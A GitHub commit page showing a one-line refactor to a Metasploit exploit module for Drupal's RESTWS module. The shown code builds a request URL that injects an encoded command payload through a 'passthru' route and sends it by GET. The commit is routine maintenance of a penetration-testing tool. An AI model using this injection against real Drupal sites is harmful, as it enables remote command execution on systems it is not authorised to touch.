Skip to content

Commit 650034b

Browse files
committed
Use normalize_uri params instead of string concatenation
1 parent c8deb54 commit 650034b

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/unix/webapp/drupal_restws_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -71,7 +71,7 @@ def check
7171

7272
def exploit
7373
r = rand_text_alpha(4 + rand(4))
74-
url = normalize_uri(target_uri.path, "taxonomy_vocabulary/" + r + "/passthru/" + Rex::Text.uri_encode(payload.encoded))
74+
url = normalize_uri(target_uri.path, "taxonomy_vocabulary/", r ,"/passthru/", Rex::Text.uri_encode(payload.encoded))
7575
send_request_cgi(
7676
'method' => 'GET',
7777
'uri' => url

0 commit comments

Comments
 (0)